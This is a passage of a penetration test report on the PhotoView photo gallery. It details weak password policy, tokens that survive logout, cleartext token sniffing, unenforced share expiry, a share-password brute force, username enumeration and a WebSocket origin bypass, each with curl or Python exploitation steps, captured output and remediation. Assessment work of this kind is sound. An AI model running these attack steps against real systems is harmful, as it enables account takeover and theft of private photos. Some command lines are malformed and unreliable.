Impact	Created accounts with empty and 1-character passwords and logged into both successfully (each login issued a session token). Created an account with password:null (permanently locked, distinct 'user does not have a password' error) and a passwordless ADMIN account (admin:true, password:") that logged in with the empty password and reached admin-only functions (full user

list query) — an empty password is a fully functional credential, and no minimum length/complexity policy exists server-side.

Exploitation Steps

Step 1 — (Precondition, admin session) Create accounts with a weak password - the API accepts anything

```
# empty password
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=<ADMIN_TOKEN>' \
  -d '{"query":"mutation{createUser(username:\"emptypw3\", password:\"\", admin:false){id username admin}}}"'
# -> {"data":{"createUser":{"id":"11","username":"emptypw3","admin":false}}}

# single-character password and password:null (permanently locked-out account) likewise accepted
```

Step 2 — Log in with the trivial/empty password - a full session is issued

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"mutation{authorizeUser(username:\"emptypw3\",password:\"\"){success status token}}}"'
# -> {"data":{"authorizeUser":{"success":true,"status":"ok","token":"<SESSION_TOKEN>"}}}
```

Step 3 — Worst case - a passwordless ADMIN account authenticates and reaches admin functions

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -b 'auth-token=<ADMIN_TOKEN>' \
  -d '{"query":"mutation{createUser(username:\"pwa3\", password:\"\", admin:true){id}}}"'
# log in with empty password -> success:true + token, then:
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -b 'auth-token=<THAT_TOKEN>' \
  -d '{"query":"{myUser{id username admin} user{id username admin}}}"'
# -> myUser admin:true and the admin-only full user list
```

Proof of Impact

```
== createUser with EMPTY password == {"data":{"createUser":{"id":"11","username":"emptypw3","admin":false}}}
== login with empty password == {"data":{"authorizeUser":{"success":true,"status":"ok","token":"YLUJhVziA06oUx01SAPvqLXa"}}}
== createUser with 1-char 'a' == {"data":{"createUser":{"id":"12","username":"weakpw3","admin":false}}}
== login with 'a' == {"data":{"authorizeUser":{"success":true,"status":"ok","token":"ap0q06cFYVyJ4IP0cHOK3XQl"}}}
== createUser password:null == {"data":{"createUser":{"id":"13","username":"nullpw3","admin":false}}}
== PASSWORDLESS ADMIN == {"data":{"createUser":{"id":"14","username":"pwa3","admin":true}}}
== admin privileges with empty-password token:
{"data":{"myUser":{"id":"14","username":"pwa3","admin":true},"user":[...full user list...]}}
```

Remediation

Enforce a server-side password policy before hashing in RegisterUser (api/graphql/models/user.go:108-116) and updateUser: minimum length (e.g., 12+), complexity checks, and a common/breached-password blocklist;

reject empty and single-character passwords. Reject password:null in createUser by making the password argument mandatory, and validate the initialSetupWizard bootstrap password with the same policy. Add policy enforcement at the input boundary (resolver layer) rather than relying on the model hash step, and document/reset policy for existing accounts on upgrade.

AUTH-04: Client-side-only logout with no server-side session-token revocation — sessions survive logout and password changes

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	GET /logout — client-side cookie clear only (ui/src/components/routes/Routes.tsx:151-155); token validation at api/dataloader/userLoader.go:17 (sole check expire > now, 14-day TTL); token issuance at api/graphql/models/user.go:126-151
Auth state	Unauthenticated attacker with a stolen session token (per AUTH-01/AUTH-05 vectors, or any leak); the victim performs the logout/password-change action. The finding is that these actions do not invalidate the token.
Prerequisites	A session token in the attacker's possession (obtained via AUTH-01/AUTH-05 vectors, or any leak) plus the victim performing the logout/password-change action; the finding is that these actions do not invalidate the token.
Overview	Logout is purely client-side (the SPA clears the auth-token cookie — there is no server logout endpoint and no revocation API), and password/admin changes leave existing tokens valid. The only session-lifecycle check in the entire stack is expire > time.Now() in the dataloader (14-day TTL). Live-verified: (a) after navigating to /logout and clearing the cookie, replaying the pre-logout token still authenticated as admin; (b) after an admin reset of a user's password, the pre-reset session token remained valid; (c) two consecutive logins produced two simultaneously valid tokens.
Impact	Demonstrated that logout does not terminate the server-side session: after navigating the browser to /logout (cookie cleared, redirected to /login), replaying the pre-logout token via curl still returned the admin identity (myUser id=1 admin=true). Also demonstrated that an admin password reset does not revoke existing tokens — a session minted before the reset remained valid afterwards, and two concurrent logins yielded two simultaneously valid tokens. Expired tokens are only ever filtered by the 14-day TTL (expire > now); there is no revocation, rotation, or purge.

Exploitation Steps

Step 1 — Obtain a session token for the victim account (e.g., via the AUTH-01/AUTH-05 theft vectors)

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=<VICTIM_TOKEN>' -d '{"query":{"myUser{id username admin}}}'
# -> authenticated as the victim
```

Step 2 — Victim logs out (cookie clear only), then replay the pre-logout token

The UI only clears the client cookie (ui/src/components/routes/Routes.tsx:151-155; there is no server logout endpoint). In the victim's browser: navigate to http://host.docker.internal:8000/logout; the SPA clears the cookie and redirects to /login (playwright: cookie-list -> No cookies found).

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=<VICTIM_TOKEN>' -d '{"query":{"myUser{id username admin}}}'
# -> {"data":{"myUser":{"id":"1","username":"$username","admin":true}}} (still admin after logout)
```

Step 3 — Password reset by an admin does not revoke sessions either

```
# create + login a test user, capture token
curl ... -d '{"query":{"mutation{createUser(username:"revtest3", password:"oldpw", admin:false){id}}}}' # id=15
# admin resets the password
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -b 'auth-token=<ADMIN_TOKEN>' \
  -d '{"query":{"mutation{updateUser(id:15, password:"newpw"){id username}}}'
# old password now fails, but the pre-reset token still works:
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -b 'auth-token=<PRE_RESET_TOKEN>' \
  -d '{"query":{"myUser{id username admin}}}'
# -> {"data":{"myUser":{"id":"15","username":"revtest3","admin":false}}} (session survives reset)
```

Step 4 — Sessions accumulate - no revocation, rotation, or purge

Each login mints a new token; old tokens stay valid for the full 14-day window (verified: two logins of the same account produced two simultaneously valid tokens). The only session check is `api/dataloader/userLoader.go:17` (WHERE `expire > now`); no route deletes `access_tokens` rows (grep: only `deleteUser cascade`).

Proof of Impact

```
# 1) Browser logout: cookie cleared, redirected to /login (playwright: cookie-list -> No cookies found)
# 2) Replay of the pre-logout token from an independent client:
$ curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=5tc2xuzfGxaLl43b3tAzb0Mg' -d '{"query":{"myUser{id username admin}}}'
{"data":{"myUser":{"id":"1","username":"$username","admin":true}}} <-- still admin after logout

# 3) Password reset does not revoke sessions: old password dead, pre-reset token alive:
$ curl ... -b 'auth-token=<PRE_RESET_TOKEN>' -d '{"query":{"myUser{id username admin}}}'
{"data":{"myUser":{"id":"15","username":"revtest3","admin":false}}} <-- session survives reset

# 4) Two concurrent sessions for the same account both valid.
Source: only session check is userLoader.go:17 (WHERE expire > now); no route deletes access_tokens.
```

Remediation

Implement a server-side logout endpoint that deletes the `access_tokens` row (and any per-user session table entry) in a transaction, and revoke all of a user's tokens on password change and on admin-flag changes (delete `access_tokens` WHERE `user_id = ?` inside `updateUser`). Add token rotation/sliding expiry and set a cap on concurrent sessions per account. Because tokens are stored plaintext in `access_tokens`, treat the table as sensitive and add a periodic purge of expired rows.

AUTH-05: Plain-HTTP transport with no HSTS and non-Secure session cookie — credentials and tokens sniffable in cleartext

MEDIUM

OWASP A04:2025 — Cryptographic Failures

Location	http://host.docker.internal:8000 — whole application (api/server.go:122 binds plain HTTP via http.ListenAndServe; session cookie written without Secure at ui/src/helpers/authentication.ts:4; consumed at api/graphql/auth/auth.go:31)
Auth state	Any (victim session over plain HTTP). The attacker is a network observer positioned on the path between the victim's client and the plain-HTTP server; no application-level access required.
Prerequisites	Network position on the path between the victim's client and the plain-HTTP server (e.g., shared LAN/Wi-Fi, ISP or middlebox, or any hop of the unencrypted link). No application-level access required.
Overview	The whole application runs over plain HTTP: the server binds with http.ListenAndServe, there is no TLS, no HSTS, and no other transport-hardening headers, and the session cookie lacks the Secure flag. Live-verified with an on-path TCP observer: the auth-token bearer cookie and the authorizeUser login body (credentials and returned session token) traverse the network in cleartext, and a sniffed token was replayed successfully to authenticate as the victim. Any network-positioned attacker who observes a single request gains the victim's 14-day session with no IP binding and no revocation (AUTH-04).
Impact	Demonstrated end-to-end session theft over the transport layer: with an on-path observer on the plain-HTTP channel, the auth-token cookie and the login body (credentials + returned session token) were captured in cleartext; the sniffed token was then replayed on a direct connection and authenticated as the victim user. Response headers carry no Strict-Transport-Security or other security headers, and the very same token also travels JS-readable (AUTH-01) because the cookie lacks the Secure flag.

Exploitation Steps

Step 1 — Position an on-path observer between the victim and the server (raw TCP relay that logs all bytes)

```
python3 /tmp/onpath_proxy.py 9999 # listens on :9999, forwards to host.docker.internal:8000, logs every byte
```

Step 2 — Victim logs in or makes an authenticated request through the plain-HTTP channel

```
curl -s -X POST http://127.0.0.1:9999/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"mutation{authorizeUser(username:\"$username\",password:\"$password\")}{success status token}}"'
```

Step 3 — The observer reads the cleartext stream - session cookie AND login body are fully visible

```
CLIENT->SERVER (captured):
  Cookie: auth-token=<SESSION_TOKEN>
  {"query":"mutation{authorizeUser(username:... ,password:...){success status token}}"}
SERVER->CLIENT (captured):
  {"data":{"authorizeUser":{"success":true,"status":"ok","token":"<SESSION_TOKEN>"}}
```

Step 4 — Replay the sniffed token on the direct channel - full impersonation from a different network identity

```
STOLEN=$(grep -ao '"token":"[^"]*"' /tmp/onpath_capture.txt | tail -1 | sed 's/"token":"/';s/"//')
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -b "auth-token=$STOLEN" -d '{"query":{"myUser{id username admin}}}'
# -> {"data":{"myUser":{"id":"12","username":"<victim>","admin":false}}} (victim's identity)
```

Step 5 — Confirm the absence of TLS/HSTS on the wire and in responses

```
curl -s -D - -o /dev/null http://host.docker.internal:8000/api/graphql -X POST -H 'Content-Type: application/json' \
  -d '{"query":{"siteInfo{initialSetup}}}'
# HTTP/1.1 200 OK, Content-Type: application/json, Vary: Accept-Encoding
# (no Strict-Transport-Security, no X-Content-Type-Options, no X-Frame-Options; plain http scheme)
```

Proof of Impact

```
===== CLIENT->SERVER (captured) =====
POST /api/graphql HTTP/1.1
Cookie: auth-token=<SESSION_TOKEN>
{"query":"mutation{authorizeUser(username:...,password:...){success status token}}"}
===== SERVER->CLIENT (captured) =====
HTTP/1.1 200 OK
{"data":{"authorizeUser":{"success":true,"status":"ok","token":"2yb98dcj44zNRw998AMCiGJ4"}}}

# Token extracted from the wire by the observer, replayed on the direct channel:
$ curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=2yb98dcj44zNRw998AMCiGJ4' -d '{"query":{"myUser{id username admin}}}'
{"data":{"myUser":{"id":"12","username":"<VICTIM_USER>","admin":false}}}

Response headers of every API request: only Content-Type: application/json + Vary: Accept-Encoding
(no Strict-Transport-Security, no X-Content-Type-Options, no X-Frame-Options); scheme is http:// throughout.
```

Remediation

Terminate TLS at the application or the shipped proxy layer (the docker-compose example currently exposes plain HTTP on :8000 with no TLS/nginx layer): configure a TLS certificate, force HTTPS with a redirect, set HSTS (Strict-Transport-Security with includeSubDomains) on every response, and mark the auth-token cookie Secure (and HttpOnly per AUTH-01). Add the remaining security headers (X-Content-Type-Options, X-Frame-Options, CSP) and a reverse-proxy layer in the shipped compose file so the default deployment is encrypted by default.

AUTH-06: Share-token expiry never enforced — 'expired' share links continue granting anonymous album read and downloads

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	GET /api/download/album/{album_id}/{purpose}?token=, GET /api/photo video/{name}?token= and GraphQL shareToken/album(tokenCredentials) — expiry check missing in api/routes/authenticate_routes.go:63-129 and api/graphql/resolvers/share_token.go:43-111 (models/share_token.go:12 defines Expire, never compared)
Auth state	Anonymous — a share-token bearer; demonstrated with no session, no cookie, only ?token=.
Prerequisites	Knowledge of a share token whose stated Expire date has passed (or any share token ever created — they never die). The token is 8 chars and appears in ?token= URLs; in practice recipients, referrers, and URL history are typical leak channels. For this demonstration the share was created by the owner with a past expiry.
Overview	ShareToken.Expire is never enforced anywhere: the field is written on share creation and returned by the generated resolver, but no code path compares it. Cookie-authenticated and anonymous share-token access (REST shareTokenFromRequest at api/routes/authenticate_routes.go:63-129 and the shareToken/shareTokenValidatePassword resolvers at api/graphql/resolvers/share_token.go:43-111) validate by token value only. Live-verified end-to-end: an 'expired' album share (expire=2020-01-01) still authorized an anonymous album read and an anonymous ZIP download of all original photos.
Impact	Demonstrated that ShareToken.Expire is never enforced: a share link created with expire=2020-01-01T00:00:00Z (years past) still (a) returned the full album + absolute media paths to an anonymous GraphQL caller via album(id, tokenCredentials), and (b) authorized an anonymous application/zip download of all four original photos via GET /api/download/album/8/original?token=... (HTTP 200, 2.5 MB). Baselines confirmed the gate exists (no token -> 403) — it just never checks the expiry.

Exploitation Steps

Step 1 — (Precondition) The album owner creates a share link with an expiry (here an already-past one)

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -b 'auth-token=<OWNER_TOKEN>' \
  -d '{"query":"mutation{shareAlbum(albumId:8, expire:\"2020-01-01T00:00:00Z\"){token expire hasPassword}}}'
# -> {"data":{"shareAlbum":{"token":"SudTJ5Y5","expire":"2020-01-01T00:00:00Z","hasPassword":false}}}
```

Step 2 — Anonymous read of the share after expiry

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{album(id:8, tokenCredentials:{token:\"SudTJ5Y5\"}){id title media{id path title}}}"'
# -> full album + media paths (expired token accepted)
```

Step 3 — Anonymous media DOWNLOAD after expiry via the REST route with ?token=

```
curl -s -o /tmp/expired_dl.zip -w 'HTTP %{http_code} size=%{size_download} type=%{content_type}\n' \
```

```
'http://host.docker.internal:8000/api/download/album/8/original?token=SudTJ5Y5'
# HTTP 200 size=2526356 type=application/zip (all original photos)
```

Step 4 — Controls and source verification

Controls: no token -> HTTP 403 (auth gate); invalid token -> the gate rejects; the same expired token also passes shareToken/shareTokenValidatePassword (valid token, hasPassword=false). Source-verified: Expire is written at share creation and returned by the generated resolver but never compared in shareTokenFromRequest (api/routes/authenticate_routes.go:72) or the shareToken/shareTokenValidatePassword resolvers.

Proof of Impact

```
# 1) Share created with an already-past expiry (2020-01-01) - accepted without validation
{"data":{"shareAlbum":{"token":"SudTJ5Y5","expire":"2020-01-01T00:00:00Z","hasPassword":false}}}

# 2) Anonymous shareToken query after expiry - token still fully live
{"data":{"shareToken":{"token":"SudTJ5Y5","expire":"2020-01-01T00:00:00Z","hasPassword":false,
  "owner":{"username":"$username","admin":true},"album":{"id":"8","title":"album1"}}}}

# 3) Anonymous album read with the expired token - full media listing returned
# 4) Anonymous download of ORIGINAL photos with the expired token:
HTTP 200 size=2526356 type=application/zip (all 4 original photos)

# 5) Controls: no token -> HTTP 403
Source: grep -rn "Expire" api/ - written in share_token_actions.go, read only by the generated
resolver; no comparison against time.Now() in any code path.
```

Remediation

Enforce ShareToken.Expire at every consumption point: in shareTokenFromRequest (api/routes/authenticate_routes.go:72) add WHERE expire > NOW() (or an explicit comparison) to the value lookup, and in the shareToken/shareTokenValidatePassword/album(tokenCredentials)/media(tokenCredentials) resolvers reject tokens whose Expire is in the past. Additionally enforce expiry at the REST response boundary (400/403 for expired tokens) so even a bypassed query cannot serve media, and when creating a share require a non-past expiry. Add a cleanup job to delete expired share_tokens rows.

AUTH-07: Unthrottled anonymous share-password oracle in shareTokenValidatePassword — 4-digit share password brute-forced in 40s

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	POST /api/graphql — query shareTokenValidatePassword (api/graphql/resolvers/share_token.go:67-111) and REST share-token-pw cookie comparison (api/routes/authenticate_routes.go:78-91); token generation 8 chars at api/utils/utils.go:15-31
Auth state	Unauthenticated — the shareTokenValidatePassword query is directive-free and fully anonymous; the brute force ran with no session.

Prerequisites	Knowledge of the 8-char share token (e.g., from the share URL itself — the token is embedded in ? token= links) and an owner-chosen share password of low entropy. Everything else is anonymous.
Overview	shareTokenValidatePassword (api/graphql/resolvers/share_token.go:67-111) is an anonymous, unthrottled bcrypt oracle that returns distinct, deterministic signals ('share not found' vs false vs true) and never rate-limits; share passwords are accepted with no strength policy and the same comparison runs on the REST path via the share-token-pw cookie (api/routes/authenticate_routes.go:78-91). Live-verified: the full 4-digit password space was brute-forced at ~31 attempts/sec (40.5 s, all HTTP 200) and the recovered password downloaded the protected album's original photos.
Impact	Demonstrated a fully operational password-guessing attack against password-protected shares: the anonymous shareTokenValidatePassword oracle distinguishes bad token / wrong password / correct password, is completely unthrottled, and recovered a 4-digit share password from the full 0000-9999 space in 40.5 seconds (1,253 attempts at ~31 attempts/sec across 16 workers, every response HTTP 200). The recovered password then unlocked the protected share: anonymous GraphQL token data and a 2.5 MB ZIP download of all original photos via the REST route with the share-token-pw-<token> cookie (wrong password -> HTTP 403 control).

Exploitation Steps

Step 1 — (Precondition) The owner protects a share with a weak password - no strength policy exists

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -b 'auth-token=<OWNER_TOKEN>' \
  -d '{"query":"mutation{shareAlbum(albumId:8, password:\"1234\"){token expire hasPassword}}}"'
# -> {"data":{"shareAlbum":{"token":"3BoUsA67","expire":null,"hasPassword":true}}}
```

Step 2 — Confirm the anonymous oracle signals - no auth, no throttle, distinct outcomes

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{shareTokenValidatePassword(credentials:{token:\"ZZZZZZZ\"})}"'
# -> errors: [{"message":"share not found"}] (bad token)
curl ... -d '{"query":"{shareTokenValidatePassword(credentials:{token:\"3BoUsA67\", password:\"9999\"})}"'
# -> {"data":{"shareTokenValidatePassword":false}} (wrong password)
curl ... -d '{"query":"{shareTokenValidatePassword(credentials:{token:\"3BoUsA67\", password:\"1234\"})}"'
# -> {"data":{"shareTokenValidatePassword":true}} (correct)
```

Step 3 — Brute-force the 4-digit password space in parallel (~31 attempts/sec with 16 workers)

```
python3 /tmp/share_brute.py # 16 threads, 0000..9999, stops on first true
# Result: found password 1234 after 1,253 attempts in 40.53 s (all HTTP 200; no 429/4xx/5xx)
```

Step 4 — Use the recovered password to access the protected share - anonymous and unauthenticated

```
# GraphQL: full token + album data
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{shareToken(credentials:{token:\"3BoUsA67\", password:\"1234\"}){token hasPassword album{id title} owner{username}}}"'
# REST: download all originals with the cracked password as the share-token-pw cookie
curl -s -o /tmp/protected_dl.zip -w 'HTTP %{http_code} size=%{size_download} type=%{content_type}\n' \
```

```
'http://host.docker.internal:8000/api/download/album/8/original?token=3BoUsA67' \
-b 'share-token-pw-3BoUsA67=1234'
# HTTP 200 size=2526356 type=application/zip (all 4 original photos)
```

Proof of Impact

```
# Oracle signals:
{"errors":[{"message":"share not found","path":["shareTokenValidatePassword"]}]} #
bad token
{"data":{"shareTokenValidatePassword":false}} #
wrong pw
{"data":{"shareTokenValidatePassword":true}} #
correct pw

# Brute force (16 workers, 0000..9999):
Found password: 1234
Attempts until hit: 1,253
Elapsed / rate : 40.53 s, ~30.9 attempts/s
HTTP statuses seen: {200: 1238, client-side timeout: 15} (zero 429/403/5xx from th
e server)

# Impact with the cracked password:
{"data":{"shareToken":{"token":"3BoUsA67","hasPassword":true,"album":{"id":"8","titl
e":"album1"},"owner":{"username":"$username"}}}}
HTTP 200 size=2526356 type=application/zip (4 original photos)
# Control: wrong password on the REST route -> HTTP 403
```

Remediation

Rate-limit `shareTokenValidatePassword` (and the REST `share-token-pw` cookie path) per token and per IP with exponential backoff, and cap the number of wrong-password attempts before the token is locked. Enforce a minimum share-password strength policy at share creation (length/complexity, reject sequential digits and common passwords), and consider adding a fixed delay on failed bcrypt comparisons so the oracle's true/false signal cannot be machine-gunned. Since the oracle also differentiates 'share not found' from a wrong password, return a uniform error for unknown tokens.

AUTH-08: Username/passwordless-account/role enumeration via login timing, distinct errors, and directive messages

LOW

OWASP A07:2025 — Authentication Failures

Location	POST <code>/api/graphql</code> — mutation <code>authorizeUser</code> (<code>api/graphql/models/user.go:76-99</code>) and <code>@isAuthorized/@isAdmin</code> directives (<code>api/graphql/directive.go:11-18</code>) on protected queries
Auth state	Unauthenticated — all oracle signals (timing, distinct errors, directive messages) are available to anonymous callers.
Prerequisites	None — all oracle signals are available to unauthenticated callers (share-token oracles excluded here; see AUTH-07).
Overview	The login flow leaks account state anonymously: (a) <code>authorizeUser</code> returns 'invalid credentials' for an unknown username after ~2.8 ms but ~200 ms for an existing username (bcrypt skipped for unknown users — timing oracle); (b) accounts with a NULL password produce the distinct error 'user does not have a password'; (c) <code>@isAuthorized</code> vs <code>@isAdmin</code> directives (<code>directive.go</code>) emit

'unauthorized' vs 'user must be admin', exposing which fields are admin-gated. All three signals are anonymous, unthrottled, and were live-verified.

Impact Demonstrated reliable anonymous enumeration: valid usernames (e.g., the configured account and 'user') are distinguishable from invalid ones by a ~70x timing delta (2.8 ms vs ~200 ms) with identical response bodies; passwordless accounts reveal themselves via the distinct 'user does not have a password' status; and the differing 'unauthorized' vs 'user must be admin' messages expose which fields are user-gated vs admin-gated. All oracles are anonymous and unthrottled (AUTH-02).

Exploitation Steps

Step 1 — Timing oracle - distinguish existing from non-existing usernames (identical response bodies, ~70x latency delta)

```
for u in nonexistentuser31337 $username user; do
  curl -s -o /dev/null -w "$u %{time_total}s\n" -X POST http://host.docker.internal:8000/api/graphql \
    -H 'Content-Type: application/json' \
    -d '{"query":"mutation{authorizeUser(username:\\\\"$u\\",password:\\\\"wrong\\"}{success status}}\n"'
done
# nonexistent -> ~2.8 ms (bcrypt skipped); existing -> ~192-207 ms (bcrypt cost 12 executed)
```

Step 2 — Distinct error for passwordless accounts (account created with password:null, see AUTH-03)

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"mutation{authorizeUser(username:\\\"nullpw3\\",password:\\\"anything\\"){success status}}\n"'
# -> {"data":{"authorizeUser":{"success":false,"status":"user does not have a password"}}
```

Step 3 — Role-gate message differentiation (@isAuthorized vs @isAdmin)

```
curl ... -d '{"query":"{myUser{id}}\n"' # anonymous -> "unauthorized"
curl ... -d '{"query":"{user{id}}\n"' # anonymous -> "user must be admin"
in"
curl ... -b 'auth-token=<NON_ADMIN_TOKEN>' -d '{"query":"{user{id}}\n"' # non-admin
-> "user must be admin"
```

Step 4 — Feed the enumerated usernames into targeted credential guessing

Feed the enumerated usernames into AUTH-02/AUTH-03: the valid-name list plus the passwordless-account list gives an attacker precise targets with no prior knowledge and no rate limiting.

Proof of Impact

```
# Timing oracle (identical response bodies, 70x latency delta):
username=nonexistentuser31337 | 0.006407s | invalid credentials
username=$username           | 0.207322s | invalid credentials
username=user                 | 0.195027s | invalid credentials
# stability runs: nonexistent 2.80/2.72/2.82 ms vs admin 203.6/194.0/192.5 ms

# Passwordless-account oracle:
{"data":{"authorizeUser":{"success":false,"status":"user does not have a password"}}}

# Role-gate messages:
anonymous {user{id}}    -> "user must be admin"
anonymous {myUser{id}} -> "unauthorized"
non-admin {user{id}}    -> "user must be admin"

Root cause: models/user.go:82 returns ErrorInvalidUserCredentials immediately when t
he SELECT
finds no row (bcrypt never runs); directive.go:11-18 produces the differing messages
.
```

Remediation

Eliminate the timing side channel in `authorizeUser`: always run the `bcrypt` compare against a fixed dummy hash when the user is not found, so unknown and known usernames take identical time. Remove the distinct 'user does not have a password' error path (treat a NULL hash as 'invalid credentials' uniformly, or prevent passwordless accounts at creation per AUTH-03). Keep the uniform message for directive failures or return the same message for both `@isAuthorized` and `@isAdmin` violations.

AUTH-09: WebSocket origin validation bypass — attacker-controlled origins accepted, enabling cross-origin authenticated notification subscriptions

LOW

OWASP A02:2025 — Security Misconfiguration

Location	WS <code>/api/graphql</code> upgrade handler — <code>CheckOrigin</code> at <code>api/server/websocket.go:12-31</code> (returns true when <code>PHOTOVIEW_UI_ENDPOINT</code> unset, the default with <code>PHOTOVIEW_SERVE_UI=1</code>); wired at <code>api/graphql/endpoint/graphql_endpoint.go:29-33</code>
Auth state	Anonymous for the origin-validation bypass (upgrade accepted with attacker origin and no credentials); authenticated victim session required for the data-streaming variant.
Prerequisites	For the authenticated data variant: the victim's auth-token cookie must ride the handshake (possible for same-site cross-origin contexts under <code>SameSite=Lax</code> , or via any cookie-bearing client); the unauthenticated socket acceptance itself has no prerequisites at all.
Overview	The WebSocket upgrader's <code>CheckOrigin</code> (<code>api/server/websocket.go:12-31</code>) unconditionally returns true in production when <code>PHOTOVIEW_UI_ENDPOINT</code> is unset — which is the default configuration (<code>PHOTOVIEW_SERVE_UI=1</code> hides the UI endpoint, making <code>UiEndpointUrl()</code> nil). Live-verified: the upgrade at <code>ws://host.docker.internal:8000/api/graphql</code> was accepted (HTTP 101) with an attacker-controlled Origin and no credentials, and an authenticated subscription over a foreign-Origin socket streamed the victim's scanner notifications.
Impact	Demonstrated the WebSocket origin-validation bypass: (a) an upgrade request carrying Origin: <code>http://evil.attacker.example</code> with no credentials was accepted (HTTP 101, <code>connection_ack</code>) —

CheckOrigin returns true unconditionally in this deployment; (b) the same foreign Origin WITH a valid victim auth-token cookie produced an authenticated subscription that streamed live scanner notifications back over the socket. Additionally, any external origin can open unbounded unauthenticated sockets (resource-exhaustion surface).

Exploitation Steps

Step 1 — Open a WebSocket to the GraphQL endpoint with an attacker-controlled Origin and NO credentials

```
python3 - <<'EOF'
import asyncio, json
import websockets
async def main():
    async with websockets.connect('ws://host.docker.internal:8000/api/graphql',
                                subprotocols=['graphql-ws'],
                                additional_headers={'Origin': 'http://evil.attacker.example'},
                                open_timeout=8) as ws:
        print('UPGRADE ACCEPTED (101) with Origin http://evil.attacker.example (no cookie)')
        await ws.send(json.dumps({'type': 'connection_init', 'payload': {}}))
        print('server:', (await asyncio.wait_for(ws.recv(), 5))[:80])
    asyncio.run(main())
EOF
# -> UPGRADE ACCEPTED (HTTP 101) ... connection_ack
```

Step 2 — Attach the victim's auth-token cookie to a cross-origin socket and subscribe to the notification stream

```
headers={'Origin': 'http://evil.attacker.example', 'Cookie': 'auth-token=<VICTIM_TOKEN>'}
async with websockets.connect('ws://host.docker.internal:8000/api/graphql', subprotocols=['graphql-ws'],
                              additional_headers=headers, open_timeout=8) as ws:
    await ws.send(json.dumps({'type': 'connection_init', 'payload': {}}))
    await ws.recv()
    await ws.send(json.dumps({'type': 'start', 'id': '1', 'payload': {'query': 'subscription { notification { key type header content progress } }'}}))
    # trigger a scan from another thread -> notifications stream back over the socket
```

Step 3 — Any authenticated exchange generates streamed data - scanner notifications arrived over the cross-origin socket

```
WS MESSAGE: {"payload":{"data":{"notification":{"key":"global-scanner-progress","type":"Message","header":"Scanning media","content":"2 jobs in progress\n0 jobs waiting","progress":null}}},"id":"1","type":"data"}
WS MESSAGE: ... {"header":"Scanner complete","content":"All jobs have been scanned",...}
```

Step 4 — DoS/resource-exhaustion variant

DoS/resource-exhaustion variant: the unconditional origin acceptance means any website can open arbitrarily many unauthenticated sockets against the API - no origin whitelist limits socket creation. Source: `api/server/websocket.go:18` - `if uiEndpoint == nil { return true }`; `api/utils/Endpoints.go:72` returns nil for `UiEndpointUrl` when `PHOTOVIEW_SERVE_UI=1` (the default in this deployment).

Proof of Impact

```
=== Scenario: origin='http://evil.attacker.example' cookie=no ===
UPGRADE ACCEPTED (HTTP 101) with Origin http://evil.attacker.example
server: {"type":"connection_ack"}

=== Scenario: origin='http://evil.attacker.example' cookie=yes (auth-token=<VICTIM_TOKEN>) ===
UPGRADE ACCEPTED (HTTP 101)
... subscription started, then scan triggered ...
WS MESSAGE: {"payload":{"data":{"notification":{"key":"global-scanner-progress","type":"Message","header":"Scanning media","content":"2 jobs in progress\n0 jobs waiting","progress":null}}},"id":"1","type":"data"}
WS MESSAGE: ... {"header":"Scanner complete",...}

Source: api/server/websocket.go:18 - if uiEndpoint == nil { return true }
```

Remediation

Replace the unconditional CheckOrigin with a strict origin allowlist: when PHOTOVIEW_SERVE_UI=1, derive the allowed origin from the configured UI endpoint (or an explicit PHOTOVIEW_UI_ENDPOINT) and reject any other Origin; never return true when the origin is unavailable. Enforce the same host pinning on the notification subscription and rate-limit concurrent sockets per connection/IP to bound the resource-exhaustion surface. Add a regression test that a foreign Origin is rejected in production mode.

Authorization Exploitation Evidence (5 findings)

AUTHZ-01: shareAlbum ownership check bypass — users can mint share tokens for albums they do not own

HIGH

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql — mutation shareAlbum(albumId: ID!) (actions.AddAlbumShare at api/graphql/models/actions/share_token_actions.go:59-91)
Auth state	Any authenticated non-admin user who owns at least one album (the normal state of any PhotoView user — the admin grants users root albums by design). No victim interaction required.
Prerequisites	An authenticated non-admin account that owns at least one album (the normal state of any PhotoView user — the admin grants users root albums by design). No victim interaction required.
Overview	AddAlbumShare's ownership gate is a correlated EXISTS sub-query that counts the caller's TOTAL owned albums (WHERE EXISTS(SELECT * FROM user_albums WHERE user_albums.album_id = albums.id AND user_albums.user_id = ?)) without ever scoping the check to the requested albumID. Any authenticated user who owns at least one album passes regardless of which albumID they supply, and a share token is minted for the attacker-specified victim album. Demonstrated live end-to-end: a non-admin attacker who could not read victim album

9100 minted public and password-protected share tokens for it; a fully anonymous client then read the victim's album+media and passed the REST download auth gate using the token.

